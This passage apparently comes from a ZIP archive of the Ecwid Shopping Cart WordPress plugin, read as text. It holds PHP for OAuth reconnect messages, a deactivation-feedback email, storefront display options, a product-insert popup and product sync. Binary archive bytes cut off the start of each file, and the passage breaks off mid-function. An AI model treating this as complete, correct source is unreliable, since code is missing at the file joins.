$reconnect_message = sprintf( __( 'To be able to choose a product to insert to your posts and pages, you will need to re-connect your site to your %s store. This will only require you to accept permissions request – so that the plugin will be able to list your products in the "Add product" dialog.', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ); break; case '2': $reconnect_message = "Message 2"; break; } } return $reconnect_message; } public static function just_connected() { return get_option( self::OPTION_JUST_CONNECTED ); } public function reset_just_connected() { update_option( self::OPTION_JUST_CONNECTED, false ); } protected function _is_reconnect() { return @$this->state->mode == self::MODE_RECONNECT; } } $ecwid_oauth = new Ecwid_OAuth(); PKÊ—[ãOL(êê=ecwid-shopping-cart/includes/class-ecwid-popup-deactivate.phpnu„[µü¤_get_reasons(); $reason = $reasons[$_GET['reason']]; if ( isset( $reason['is_disable_message'] ) ) { update_option( self::OPTION_DISABLE_POPUP, true ); } $body_lines[] = 'Store URL: ' . Ecwid_Store_Page::get_store_url(); $body_lines[] = 'Plugin installed: ' . strftime( '%d %b %Y', get_option( 'ecwid_installation_date' ) ); $body_lines[] = 'Plugin version: ' . get_option('ecwid_plugin_version'); $body_lines[] = 'Reason:' . $reason['text'] . "\n" . ( !empty( $_GET['message'] ) ? $_GET['message'] : '[no message]' ); $api = new Ecwid_Api_V3(); $profile = $api->get_store_profile(); if ( $profile && @$profile->account && @$profile->account->accountEmail ) { $reply_to = $profile->account->accountEmail; } else { global $current_user; $reply_to = $current_user->user_email; } $subject_template = __( '[%s] WordPress plugin deactivation feedback (store ID: %s)', 'ecwid-shopping-cart' ); $prefix = $reason['code']; if ( !empty( $_GET['message'] ) ) { $prefix .= ', commented'; } $subject = sprintf( $subject_template, $prefix, get_ecwid_store_id() ); $result = wp_mail( $to, $subject, implode( PHP_EOL, $body_lines ), 'Reply-To:' . $reply_to ); if ($result) { header('200 OK'); die(); } else { header('500 Send mail failed'); die(); } } public function is_disabled() { $disabled = get_option( self::OPTION_DISABLE_POPUP, false ); if ( $disabled ) return true; if ( Ecwid_Config::is_wl() ) return true; if (strpos(ecwid_get_current_user_locale(), 'en') !== 0) return true; return false; } protected function _get_footer_buttons() { return array( (object) array( 'class' => 'button-secondary deactivate', 'title' => __( 'Submit & Deactivate', 'ecwid-shopping-cart' ) ), (object) array( 'class' => 'button-primary btn-close', 'title' => __( 'Cancel', 'ecwid-shopping-cart' ) ) ); } protected function _get_header() { return __( 'Before You Go', 'ecwid-shopping-cart' ); } protected function _render_body() { $reasons = $this->_get_reasons(); require ( ECWID_POPUP_TEMPLATES_DIR . 'deactivate.php' ); } protected function _get_reasons() { $options = array( array( 'text' => __( 'I have a problem using this plugin', 'ecwid-shopping-cart' ), 'has_message' => true, 'code' => 'problem', 'message_hint' => __( 'What was wrong?', 'ecwid-shopping-cart' ), ), array( 'text' => sprintf( __( 'I couldn’t find a WordPress theme that goes well with %s', 'ecwid-shopping-cart' ), Ecwid_Config::get_brand() ), 'has_message' => true, 'code' => 'theme', 'message_hint' => sprintf( __( 'I use this WordPress theme: %s', 'ecwid-shopping-cart' ), wp_get_theme()->get('Name') ) ), array( 'text' => __( 'The plugin doesn\'t support the feature I want', 'ecwid-shopping-cart' ), 'has_message' => true, 'code' => 'no feature', 'message_hint' => __( 'What feature do you need?', 'ecwid-shopping-cart' ) ), array( 'text' => __( 'I found a better plugin', 'ecwid-shopping-cart' ), 'has_message' => true, 'code' => 'found better', 'message_hint' => __( 'Can you share the name of the plugin you chose?', 'ecwid-shopping-cart' ) ), array( 'text' => __( 'It\'s a temporary deactivation. Please do not ask me again.', 'ecwid-shopping-cart' ), 'has_message' => false, 'code' => 'temporary', 'is_disable_message' => true ), array( 'text' => __( 'Other', 'ecwid-shopping-cart' ), 'has_message' => true, 'code' => 'other', 'message_hint' => __( 'Can you share your feedback? What was wrong?', 'ecwid-shopping-cart' ) ) ); return $options; } }PKÊ—[ÈO›ÓWW2ecwid-shopping-cart/includes/class-ecwid-popup.phpnu„[µü¤_init(); } protected function _init() { add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_scripts' ) ); add_action( 'admin_footer', array( $this, 'render' ) ); } public function enqueue_scripts() { wp_enqueue_script( 'ecwid-popup', ECWID_PLUGIN_URL . '/js/popup.js', array( 'jquery' ), get_option('ecwid_plugin_version') ); wp_enqueue_style( 'ecwid-popup', ECWID_PLUGIN_URL . '/css/popup.css', array(), get_option('ecwid_plugin_version') ); } public function render() { require( ECWID_POPUP_TEMPLATES_DIR . 'popup.php' ); } protected function _render_header() { require( ECWID_POPUP_TEMPLATES_DIR . 'header.php' ); } protected function _render_footer() { require( ECWID_POPUP_TEMPLATES_DIR . 'footer.php' ); } abstract protected function _get_footer_buttons(); abstract protected function _get_header(); abstract protected function _render_body(); } PKÊ—[Nº'K^8^8<ecwid-shopping-cart/includes/class-ecwid-product-browser.phpnu„[µü¤ array( 'name' => 'product_list_show_product_images', 'title' => __( 'Show product thumbnails', 'ecwid-shopping-cart' ), 'type' => 'boolean', 'default' => true, 'is_storefront_api' => true ), 'product_list_image_size' => array( 'name' => 'product_list_image_size', 'title' => __( 'Product thumbnail size', 'ecwid-shopping-cart' ), 'values' => self::_get_sizes(), 'default' => 'MEDIUM', 'is_storefront_api' => true ), 'product_list_image_aspect_ratio' => array( 'name' => 'product_list_image_aspect_ratio', 'title' => __( 'Product thumbnail aspect ratio', 'ecwid-shopping-cart' ), 'values' => self::_get_aspect_ratios(), 'default' => 'SQUARE', 'is_storefront_api' => true ), 'product_list_show_frame' => array( 'name' => 'product_list_show_frame', 'title' => __( 'Show product card border', 'ecwid-shopping-cart' ), 'type' => 'boolean', 'default' => false, 'is_storefront_api' => true ), 'product_list_product_info_layout' => array( 'name' => 'product_list_product_info_layout', 'title' => __( 'Product card text align', 'ecwid-shopping-cart' ), 'values' => array( array( 'value' => 'LEFT', 'title' => __( 'Left', 'ecwid-shopping-cart' ), 'icon' => 'textalignleft', ), array( 'value' => 'CENTER', 'title' => __( 'Center', 'ecwid-shopping-cart' ), 'icon' => 'textaligncenter' ), array( 'value' => 'RIGHT', 'title' => __( 'Right', 'ecwid-shopping-cart' ), 'icon' => 'textalignright' ), array( 'value' => 'JUSTIFY', 'title' => __( 'Justify', 'ecwid-shopping-cart' ), 'icon' => 'textalignjustify' ) ), 'default' => 'CENTER', 'is_storefront_api' => true ), 'product_list_title_behavior' => array( 'name' => 'product_list_title_behavior', 'title' => __( 'Product title', 'ecwid-shopping-cart' ), 'values' => self::_get_behaviors(), 'default' => 'SHOW', 'is_storefront_api' => true ), 'product_list_price_behavior' => array( 'name' => 'product_list_price_behavior', 'title' => __( 'Product price', 'ecwid-shopping-cart' ), 'values' => self::_get_behaviors(), 'default' => 'SHOW', 'is_storefront_api' => true ), 'product_list_sku_behavior' => array( 'name' => 'product_list_sku_behavior', 'title' => __( 'Product SKU', 'ecwid-shopping-cart' ), 'values' => self::_get_behaviors(), 'default' => 'HIDE', 'is_storefront_api' => true ), 'product_list_buybutton_behavior' => array( 'name' => 'product_list_buybutton_behavior', 'title' => __( 'Buy now buttons', 'ecwid-shopping-cart' ), 'values' => self::_get_behaviors(), 'default' => 'SHOW', 'is_storefront_api' => true ), 'product_list_show_additional_image_on_hover' => array( 'name' => 'product_list_show_additional_image_on_hover', 'title' => __( 'Show additional image on hover', 'ecwid-shopping-cart' ), 'type' => 'boolean', 'default' => false, 'is_storefront_api' => true ), 'product_list_category_title_behavior' => array( 'name' => 'product_list_category_title_behavior', 'title' => __( 'Category card layout', 'ecwid-shopping-cart' ), 'values' => array( array( 'value' => 'SHOW_BELOW_IMAGE', 'title' => __( 'Title under image', 'ecwid-shopping-cart' ) ), array( 'value' => 'SHOW_ON_IMAGE', 'title' => __( 'Title on image', 'ecwid-shopping-cart' ) ), array( 'value' => 'SHOW_ON_HOVER', 'title' => __( 'Image and title on mouse over', 'ecwid-shopping-cart' ) ), array( 'value' => 'SHOW_TEXT_ONLY', 'title' => __( 'Title only', 'ecwid-shopping-cart' ) ), array( 'value' => 'HIDE', 'title' => __( 'Image only', 'ecwid-shopping-cart' ) ) ), 'default' => 'SHOW_ON_HOVER', 'is_storefront_api' => true ), 'product_list_category_image_size' => array( 'name' => 'product_list_category_image_size', 'title' => __( 'Category thumbnail size', 'ecwid-shopping-cart' ), 'values' => self::_get_sizes(), 'default' => 'MEDIUM', 'is_storefront_api' => true ), 'product_list_category_image_aspect_ratio' => array( 'name' => 'product_list_category_image_aspect_ratio', 'title' => __( 'Category thumbnail aspect ratio', 'ecwid-shopping-cart' ), 'values' => self::_get_aspect_ratios(), 'default' => 'SQUARE_1', 'is_storefront_api' => true ), 'show_categories' => array( 'name' => 'show_categories', 'title' => __( 'Display categories menu', 'ecwid-shopping-cart' ), 'type' => 'boolean', 'default' => false ), 'show_search' => array( 'name' => 'show_search', 'title' => __( 'Display search box', 'ecwid-shopping-cart' ), 'type' => 'boolean', 'default' => false ), 'show_breadcrumbs' => array( 'name' => 'show_breadcrumbs', 'title' => __( 'Display breadcrumbs', 'ecwid-shopping-cart' ), 'type' => 'boolean', 'default' => true, 'is_storefront_api' => true ), 'show_footer_menu' => array( 'name' => 'show_footer_menu', 'title' => __( 'Display footer menu', 'ecwid-shopping-cart' ), 'type' => 'boolean', 'default' => true, 'is_storefront_api' => true ), 'show_signin_link' => array( 'name' => 'show_signin_link', 'title' => __( 'Display sign in link', 'ecwid-shopping-cart' ), 'type' => 'boolean', 'default' => true, 'is_storefront_api' => true ), 'product_list_show_sort_viewas_options' => array( 'name' => 'product_list_show_sort_viewas_options', 'title' => __( 'Display sort by link', 'ecwid-shopping-cart' ), 'type' => 'boolean', 'default' => true, 'is_storefront_api' => true ), 'default_category_id' => array( 'name' => 'default_category_id', 'title' => __( 'Default category ID', 'ecwid-shopping-cart' ), 'type' => 'default_category_id', 'default' => 0 ), 'default_product_id' => array( 'name' => 'default_product_id', 'title' => __( 'Default product_ID', 'ecwid-shopping-cart' ), 'type' => 'default_product_id', 'default' => 0 ), 'product_details_layout' => array( 'name' => 'product_details_layout', 'title' => __( 'Product page layout', 'ecwid-shopping-cart' ), 'values' => self::_get_product_details_layouts(), 'default' => 'TWO_COLUMNS_SIDEBAR_ON_THE_RIGHT', 'is_storefront_api' => true ), 'product_details_two_columns_with_left_sidebar_show_product_description_on_sidebar' => array( 'name' => 'product_details_two_columns_with_left_sidebar_show_product_description_on_sidebar', 'title' => __( 'Show description under the image', 'ecwid-shopping-cart' ), 'type' => 'boolean', 'default' => true, 'is_storefront_api' => true ), 'product_details_two_columns_with_right_sidebar_show_product_description_on_sidebar' => array( 'name' => 'product_details_two_columns_with_right_sidebar_show_product_description_on_sidebar', 'title' => __( 'Show description under the image', 'ecwid-shopping-cart' ), 'type' => 'boolean', 'default' => true, 'is_storefront_api' => true ), 'product_details_gallery_layout' => array( 'name' => 'product_details_gallery_layout', 'title' => __( 'Image gallery layout', 'ecwid-shopping-cart' ), 'values' => self::_get_gallery_layouts(), 'default' => 'IMAGE_SINGLE_THUMBNAILS_HORIZONTAL', 'is_storefront_api' => true ), 'product_details_show_product_name' => array( 'name' => 'product_details_show_product_name', 'title' => __( 'Title', 'ecwid-shopping-cart' ), 'type' => 'boolean', 'default' => true, 'is_storefront_api' => true ), 'product_details_show_breadcrumbs' => array( 'name' => 'product_details_show_breadcrumbs', 'title' => __( 'Breadcrumbs', 'ecwid-shopping-cart' ), 'type' => 'boolean', 'default' => true, 'is_storefront_api' => true ), 'product_details_show_product_sku' => array( 'name' => 'product_details_show_product_sku', 'title' => _x( 'Product SKU', 'product-browser-attributes', 'ecwid-shopping-cart' ), 'type' => 'boolean', 'default' => true, 'is_storefront_api' => true ), 'product_details_show_product_price' => array( 'name' => 'product_details_show_product_price', 'title' => _x( 'Product price', 'product-browser-attributes', 'ecwid-shopping-cart' ), 'type' => 'boolean', 'default' => true, 'is_storefront_api' => true ), 'product_details_show_qty' => array( 'name' => 'product_details_show_qty', 'title' => __( 'Product quantity', 'ecwid-shopping-cart' ), 'type' => 'boolean', 'default' => true, 'is_storefront_api' => true ), 'product_details_show_number_of_items_in_stock' => array( 'name' => 'product_details_show_number_of_items_in_stock', 'title' => __( 'Available qty in stock', 'ecwid-shopping-cart' ), 'type' => 'boolean', 'default' => true, 'is_storefront_api' => true ), 'product_details_show_in_stock_label' => array( 'name' => 'product_details_show_in_stock_label', 'title' => __( '"In stock" label', 'ecwid-shopping-cart' ), 'type' => 'boolean', 'default' => true, 'is_storefront_api' => true ), 'product_details_show_wholesale_prices' => array( 'name' => 'product_details_show_wholesale_prices', 'title' => __( 'Wholesale prices', 'ecwid-shopping-cart' ), 'type' => 'boolean', 'default' => true, 'is_storefront_api' => true ), 'product_details_show_share_buttons' => array( 'name' => 'product_details_show_share_buttons', 'title' => __( 'Display sign in link', 'ecwid-shopping-cart' ), 'type' => 'boolean', 'default' => true, 'is_storefront_api' => true ), 'chameleon_color_button' => array( 'name' => 'chameleon_color_button', 'title' => __( 'Button color', 'ecwid-shopping-cart' ), 'default' => get_option( 'ecwid_chameleon_colors_button' ), 'is_storefront_api' => true ), 'chameleon_color_foreground' => array( 'name' => 'chameleon_color_foreground', 'title' => __( 'Text color', 'ecwid-shopping-cart' ), 'default' => get_option( 'ecwid_chameleon_colors_foreground' ), 'is_storefront_api' => true ), 'chameleon_color_price' => array( 'name' => 'chameleon_color_price', 'title' => __( 'Price color', 'ecwid-shopping-cart' ), 'default' => get_option( 'ecwid_chameleon_colors_price' ), 'is_storefront_api' => true ), 'chameleon_color_link' => array( 'name' => 'chameleon_color_link', 'title' => __( 'Link color', 'ecwid-shopping-cart' ), 'default' => get_option( 'ecwid_chameleon_colors_link' ), 'is_storefront_api' => true ), 'chameleon_color_background' => array( 'name' => 'chameleon_color_background', 'title' => __( 'Background color', 'ecwid-shopping-cart' ), 'default' => get_option( 'ecwid_chameleon_colors_background' ), 'is_storefront_api' => true ), 'product_filters_position_search_page' => array( 'name' => 'product_filters_position_search_page', 'title' => __( 'Filters panel position', 'ecwid-shopping-cart' ), 'values' => array( array( 'value' => 'LEFT', 'title' => __( 'On the left', 'ecwid-shopping-cart' ) ), array( 'value' => 'RIGHT', 'title' => __( 'On the right', 'ecwid-shopping-cart' ) ) ), 'default' => 'LEFT', 'is_storefront_api' => true ), ); } protected static function _get_behaviors() { return array( array( 'value' => 'SHOW', 'title' => __( 'Show', 'ecwid-shopping-cart' ) ), array( 'value' => 'HIDE', 'title' => __( 'Hide', 'ecwid-shopping-cart' ) ), array( 'value' => 'SHOW_ON_HOVER', 'title' => __( 'Show on hover', 'ecwid-shopping-cart' ), ) ); } protected static function _get_sizes() { return array( array( 'value' => 'SMALL', 'title' => __( 'S', 'ecwid-shopping-cart' ) ), array( 'value' => 'MEDIUM', 'title' => __( 'M', 'ecwid-shopping-cart' ) ), array( 'value' => 'LARGE', 'title' => __( 'L', 'ecwid-shopping-cart' ) ) ); } protected static function _get_aspect_ratios() { return array( array( 'value' => 'PORTRAIT_0667', 'title' => __( 'Portrait 2:3', 'ecwid-shopping-cart' ), 'icon' => 'aspect916', ), array( 'value' => 'PORTRAIT_075', 'title' => __( 'Portrait 3:4', 'ecwid-shopping-cart' ), 'icon' => 'aspect34', ), array( 'value' => 'SQUARE', 'title' => __( 'Square 1:1', 'ecwid-shopping-cart' ), 'icon' => 'aspect11' ), array( 'value' => 'LANDSCAPE_1333', 'title' => __( 'Landscape 4:3', 'ecwid-shopping-cart' ), 'icon' => 'aspect43' ), array( 'value' => 'LANDSCAPE_15', 'title' => __( 'Landscape 3:2', 'ecwid-shopping-cart' ), 'icon' => 'aspect169' ) ); } protected static function _get_product_details_layouts() { return array( array( 'value' => 'TWO_COLUMNS_SIDEBAR_ON_THE_RIGHT', 'title' => __( '2 columns, image on the left', 'ecwid-shopping-cart' ) ), array( 'value' => 'TWO_COLUMNS_SIDEBAR_ON_THE_LEFT', 'title' => __( '2 columns, image on the right', 'ecwid-shopping-cart' ) ), array( 'value' => 'THREE_COLUMNS_SIDEBAR_ON_THE_RIGHT', 'title' => __( '3 columns, image on the left', 'ecwid-shopping-cart' ) ), array( 'value' => 'THREE_COLUMNS_SIDEBAR_ON_THE_LEFT', 'title' => __( '3 columns, image on the right', 'ecwid-shopping-cart' ) ), ); } protected static function _get_gallery_layouts() { return array( array( 'value' => 'IMAGE_SINGLE_THUMBNAILS_HORIZONTAL', 'title' => __( 'Horizontal thumbnails', 'ecwid-shopping-cart' ), 'icon' => 'galleryLayoutVertical', ), array( 'value' => 'IMAGE_SINGLE_THUMBNAILS_VERTICAL', 'title' => __( 'Vertical thumbnails', 'ecwid-shopping-cart' ), 'icon' => 'galleryLayoutHorizontal' ), array( 'value' => 'IMAGE_FEED', 'title' => __( 'Image feed', 'ecwid-shopping-cart' ), 'icon' => 'galleryLayoutFeed' ) ); } }PKÊ—[•&úéµµ:ecwid-shopping-cart/includes/class-ecwid-product-popup.phpnu„[µü¤base != 'post') { return; } if ( !in_array( $current_screen->post_type, array( 'page', 'post' ) ) ) { return; } if ( is_plugin_active( 'elementor/elementor.php' ) && @$_GET['action'] == 'elementor' ) { return; } if (Ecwid_Api_V3::get_token()) { add_action('media_buttons_context', array($this, 'add_editor_button')); add_action('admin_enqueue_scripts', array($this, 'add_scripts')); add_action('in_admin_header', array($this, 'add_popup')); } } public function save_display_params() { if ( !is_admin() || !current_user_can( 'manage_options' ) ) { return; } EcwidPlatform::set('spw_display_params', $_REQUEST['params']); } public function search_products() { if ( !is_admin() || !current_user_can( 'manage_options' ) ) { return; } $api = new Ecwid_Api_V3(); $allowed = array( 'keyword', 'sortBy' ); foreach ( $allowed as $name ) { if ( array_key_exists( $name, $_REQUEST ) ) { $params[$name] = $_REQUEST[$name]; } } $params['limit'] = 10; $params['offset'] = 0; if ( array_key_exists( 'page', $_REQUEST ) ) { $params['offset'] = $params['limit'] * ( $_REQUEST['page'] - 1 ); } $result = $api->search_products( $params ); if ( $result && $result->count > 0 ) { $output = array( 'total' => $result->total, 'count' => $result->count, 'offset' => $result->offset, 'limit' => $params['limit'], 'items' => array() ); foreach ($result->items as $product) { $output['items'][] = array( 'id' => $product->id, 'name' => $product->name, 'thumb' => @$product->thumbnailUrl, 'sku' => $product->sku ); } echo json_encode($output); } wp_die(); } public function add_editor_button($context) { $title = __( 'Add Product', 'ecwid-shopping-cart' ); $button = << $title HTML; return $context . $button; } public function add_scripts() { wp_enqueue_style( 'ecwid-product-popup', ECWID_PLUGIN_URL . 'css/product-popup.css', array(), get_option('ecwid_plugin_version') ); wp_enqueue_script( 'ecwid-product-popup', ECWID_PLUGIN_URL . 'js/product-popup.js', array(), get_option('ecwid_plugin_version') ); $data = array(); if (!Ecwid_Api_V3::get_token()) { $data = array('no_token' => 1); } else { $data = EcwidPlatform::get('spw_display_params'); } if ( !isset( $data['display'] ) ) { $data['display'] = array( 'picture' => 1, 'title' => 1, 'price' => 1, 'addtobag' => 1, 'options' => 1 ); } if ( !isset( $data['attributes'] ) ) { $data['attributes'] = array( 'show_price_on_button' => 1, 'center_align' => 1, 'show_border' => 1 ); } $data['labels'] = array( 'firstPage' => __( 'First Page', 'ecwid-shopping-cart' ), 'prevPage' => __( 'Previous Page', 'ecwid-shopping-cart' ), 'nextPage' => __( 'Next Page', 'ecwid-shopping-cart' ), 'lastPage' => __( 'Last Page', 'ecwid-shopping-cart' ), ); wp_localize_script('ecwid-product-popup', 'ecwidSpwParams', $data); } public function add_popup() { require_once( ECWID_PLUGIN_DIR . 'templates/product-popup.php' ); } } $ecwid_product_popup = new Ecwid_Product_Popup(); PKÊ—[cµ6I)D)D5ecwid-shopping-cart/includes/class-ecwid-products.phpnu„[µü¤_api = new Ecwid_Api_V3(get_ecwid_store_id()); $this->_status = new Ecwid_Products_Sync_Status(); $this->_status->load(); add_action( 'ecwid_update_store_id', array( $this, 'reset_dates' ) ); add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_admin' ) ); if ( ! self::is_enabled() ) { return; } add_action( 'init', array($this, 'register_post_type' ) ); add_action( 'admin_init', array($this, 'register_post_type' ) ); add_filter( 'the_content', array( $this, 'content' ) ); add_filter( 'post_thumbnail_html', array( $this, 'thumbnail' ) ); add_action( 'wp_ajax_ecwid_get_post_link', array($this, 'ajax_get_post_link' ) ); add_action( 'wp_ajax_nopriv_ecwid_get_post_link', array($this, 'ajax_get_post_link' ) ); add_filter( 'post_type_link', array( $this, 'replace_product_page_url_on_search' ), 10, 3 ); add_action( 'template_redirect', array( $this, 'redirect_to_store_page' ) ); add_action( 'ecwid_on_plugin_update', array( $this, 'on_plugin_update' ) ); if (EcwidPlatform::get('hide_out_of_stock')) { add_filter( 'posts_join_paged', array( $this, 'join_out_of_stock' ) ); } $this->sync_limit = get_option( self::OPTION_SYNC_LIMIT, $this->sync_limit ); $this->_sync_progress_callback = '__return_false'; } public function on_plugin_update() { add_option( self::OPTION_NO_SSE, false ); add_option( self::OPTION_NO_IMAGES, false ); } public function enqueue_admin() { EcwidPlatform::enqueue_style( 'sync.css' ); } public function replace_product_page_url_on_search( $url, $post, $leavename = false ) { if ( $post->post_type == self::POST_TYPE_PRODUCT ) { $new_url = $this->_get_post_link( $post->ID ); if ($new_url) { return $new_url; } } return $url; } public function redirect_to_store_page() { $post = get_post(); if ( $post && $post->post_type == self::POST_TYPE_PRODUCT && is_single() ) { $url = $this->_get_post_link($post->ID); if ($url) { wp_redirect($url, 301); exit(); } } } public function join_out_of_stock($join) { if (!is_search()) { return $join; } if (!$join) { $join = ''; } global $wpdb; $join .= 'LEFT JOIN ' . $wpdb->postmeta .' ' . self::DB_ALIAS_OUT_OF_STOCK . ' ON ' . $wpdb->posts . '.id = ' . self::DB_ALIAS_OUT_OF_STOCK . '.post_id' . ' AND ' . self::DB_ALIAS_OUT_OF_STOCK . '.meta_key=' . '"in_stock"' . ' AND ' . self::DB_ALIAS_OUT_OF_STOCK . '.meta_value=1'; return $join; } public function ajax_get_post_link() { if ( !isset( $_REQUEST['product_id'] ) ) { return; } $product_id = intval( @$_REQUEST['product_id'] ); $link = $this->get_product_link( $product_id ); if ( $link ) { echo json_encode($link); } exit(); } public function get_product_link( $product_id ) { $post_id = $this->_find_post_by_product_id( $product_id ); if ($post_id) { return $this->_get_post_link( $post_id ); } return ''; } protected function _get_post_link( $post_id ) { $store_page_url = Ecwid_Store_Page::get_store_url(); if (! $store_page_url) { return ''; } $ecwid_product_id = get_post_meta( $post_id, 'ecwid_id', true ); $url = Ecwid_Store_Page::get_product_url_from_api( $ecwid_product_id ); if ( $url ) { return $url; } return Ecwid_Store_Page::get_product_url_default_fallback( $ecwid_product_id ); } public function reset_dates() { $this->_status->reset_dates(); } public function set_sync_progress_callback($callback) { $this->_sync_progress_callback = $callback; } public function content($content) { if ( get_post_type() == self::POST_TYPE_PRODUCT ) { $ecwid_id = get_post_meta(get_the_ID(), 'ecwid_id'); $ecwid_id = $ecwid_id[0]; if (is_singular()) { ob_start(); require ECWID_PLUGIN_DIR . '/templates/product.php'; $contents = ob_get_contents(); ob_end_clean(); return $contents; } } return $content; } public function thumbnail($html) { if (get_post_type() == self::POST_TYPE_PRODUCT && is_singular()) { return ''; } return $html; } public static function is_enabled() { return self::is_feature_available() && get_option( self::OPTION_ENABLED, false ); } public static function enable() { flush_rewrite_rules(true); update_option( self::OPTION_ENABLED, 1 ); } public static function disable() { flush_rewrite_rules(true); update_option( self::OPTION_ENABLED, false ); } public static function is_feature_available() { return Ecwid_Api_V3::get_token() != false; } public static function reset_sync_date() { Ecwid_Products_Sync_Status::reset_dates(); } public function register_post_type() { register_post_type( self::POST_TYPE_PRODUCT, array( 'public' => TRUE, 'capability_type' => 'product', 'map_meta_cap' => TRUE, 'publicly_queryable' => TRUE, 'exclude_from_search' => FALSE, 'hierarchical' => FALSE, 'show_in_nav_menus' => TRUE, 'show_ui' => false, 'labels' => array( 'name' => __( 'Products', 'ecwid-shopping-cart' ) ) ) ); } protected function _find_post_by_product_id($product_id) { global $wpdb; $row = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->postmeta WHERE meta_key = '%s' AND meta_value = '%s' LIMIT 1", 'ecwid_id', $product_id ) ); $id = null; if (!empty($row)) { $id = $row->post_id; } return $id; } public function is_in_sync() { $stats = $this->_api->get_store_update_stats(); $update_time = strtotime($stats->productsUpdated); $last_update = EcwidPlatform::get(Ecwid_Products_Sync_Status::OPTION_UPDATE_TIME); return $last_update > $update_time; } public function set_last_update_time($time) { EcwidPlatform::set(Ecwid_Products_Sync_Status::OPTION_UPDATE_TIME, $time); } public function get_last_sync_time() { return $this->_status->get_last_sync_time(); } public function estimate_sync() { if ( !Ecwid_Api_V3::get_token() ) return array('last_update' => 0); $updated = $this->_api->search_products( array( 'updatedFrom' => $this->_status->get_last_sync_time(), 'limit' => 1, 'offset' => 0, 'sortBy' => 'UPDATED_TIME_ASC' ) ); $deleted = $this->_api->get_deleted_products( array( 'from_date' => $this->_status->get_deleted_from(), 'limit' => 1, 'offset' => 0 ) ); $result = array( 'total_deleted' => $deleted->total, 'total_updated' => $updated->total ); $result['last_update_string'] = Ecwid_Api_V3::format_time($this->_status->get_last_sync_time()); $result['last_update'] = $this->_status->get_last_sync_time(); if ($updated->total > 0) { $result['updated_from'] = $updated->items[0]->updated; $result['last_updated'] = Ecwid_Api_V3::format_time($this->_status->last_deleted_product_time); } if ($deleted->total > 0) { $result['deleted_from'] = $deleted->items[0]->date; $result['last_deleted'] = Ecwid_Api_V3::format_time($this->_status->last_deleted_product_time); } $api = new Ecwid_Api_V3(); $profile = $api->get_store_profile(); if ($profile && $profile->settings) { EcwidPlatform::set('hide_out_of_stock', $profile->settings->hideOutOfStockProductsInStorefront); } return $result; } public function sync($settings = null) { $did_something = false; if (!$settings || $settings['mode'] == 'deleted') { $did_something = $this->_process_deleted_products( $settings ); } if (!$settings || $settings['one_at_a_time'] && !$did_something) { $did_something = $this->_process_products($settings); } if (!$settings || $settings['one_at_a_time'] && !$did_something) { $this->_status->update_last_sync_time( time() ); return true; } return false; } public function delete_all_products() { global $wpdb; $result = $wpdb->get_col( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '%s'", 'ecwid_id' )); foreach ($result as $post_id) { wp_delete_post($post_id); } } public function disable_all_products() { global $wpdb; $result = $wpdb->get_col( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '%s'", 'ecwid_id' )); foreach ($result as $post_id) { wp_update_post(array( 'ID' => $post_id, 'post_status' => 'draft' )); } } public function enable_all_products() { global $wpdb; $result = $wpdb->get_col( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '%s'", 'ecwid_id' )); foreach ($result as $post_id) { wp_update_post(array( 'ID' => $post_id, 'post_status' => 'publish' )); } } protected function _process_products($settings) { $over = FALSE; $offset = 0; $limit = $this->sync_limit; if ($settings && @$settings['offset']) { $offset = $settings['offset']; } if ( $settings && isset( $settings['from'] ) ) { $updated_from = $settings['from']; } else { $updated_from = $this->_status->get_updated_from(); } while ( ! $over ) { $this->_status_event(array( 'event' => 'fetching_products', 'offset' => $offset, 'limit' => $limit )); $params = array( 'updatedFrom' => $updated_from, 'limit' => $limit, 'offset' => $offset, 'sortBy' => 'UPDATED_TIME_ASC' ); $products = $this->_api->search_products( $params ); $this->_status_event( array_merge( $params, array( 'event' => 'found_updated', 'total' => $products->total, 'count' => $products->count ) ) ); if ( $products->total == 0 || $products->count == 0 ) { $over = TRUE; return false; } foreach ( $products->items as $product ) { $this->_process_product( $product ); } if ( $products->total < $offset + $limit || @$settings['one_at_a_time'] ) { break; } $offset += $limit; } return true; } protected function _process_product( $product ) { $id = $this->_find_post_by_product_id( $product->id ); if ( !$product->enabled ) { if ( !is_null( $id ) ) { wp_delete_post( $id ); } $this->_status_event( array( 'event' => 'deleted_disabled_product', 'product' => $product ) ); return null; } return $this->_sync_product( $product, $id ); } protected function _sync_product( $product, $existing_post_id = null ) { $meta = array( '_price' => $product->defaultDisplayedPrice, '_regular_price' => $product->defaultDisplayedPrice, 'image' => @$product->imageUrl, 'ecwid_id' => $product->id, '_sku' => $product->sku, '_visibility' => 'visible', '_ecwid_url' => substr( $product->url, strpos( $product->url, '#!' ) ), 'in_stock' => $product->inStock ? '1' : '0', '_updatedTimestamp' => $product->updateTimestamp, ); if ( Ecwid_Seo_Links::is_enabled() ) { $meta['_ecwid_seo_url'] = $product->url; } $post_id = wp_insert_post( array( 'ID' => $existing_post_id, 'post_title' => $product->name, 'post_content' => $product->description, 'post_type' => self::POST_TYPE_PRODUCT, 'post_status' => 'publish' ) ); foreach ($meta as $key => $value) { add_post_meta($post_id, $key, $value, true); } if (! get_option(self::OPTION_NO_IMAGES ) ) { $image_id = get_post_meta( $post_id, '_thumbnail_id' ); if ( ! $image_id ) { $this->_upload_product_thumbnail( $product, $post_id ); } } $this->_status->update_last_updated($product->updateTimestamp); $this->_status_event( array( 'event' => $existing_post_id ? 'updated_product' : 'created_product', 'product' => $product ) ); return $post_id; } protected function _process_deleted_products($settings = array()) { $over = FALSE; $offset = 0; $limit = 100; if ($settings && @$settings['offset']) { $offset = $settings['offset']; } if ($settings && isset( $settings['from'] ) ) { $deleted_from = $settings['from']; } else { $deleted_from = $this->_status->get_deleted_from(); } while ( ! $over ) { $this->_status_event(array( 'event' => 'fetching_deleted_product_ids', 'offset' => $offset, 'limit' => $limit )); $params = array( 'from_date' => $deleted_from, 'limit' => $limit, 'offset' => $offset ); $products = $this->_api->get_deleted_products( $params ); $this->_status_event( array_merge( $params, array( 'event' => 'found_deleted', 'total' => $products->total, 'count' => $products->count ) ) ); if ( $products->total == 0 ) { $over = TRUE; return false; } foreach ( $products->items as $product ) { $post_id = $this->_find_post_by_product_id($product->id); if ($post_id) { 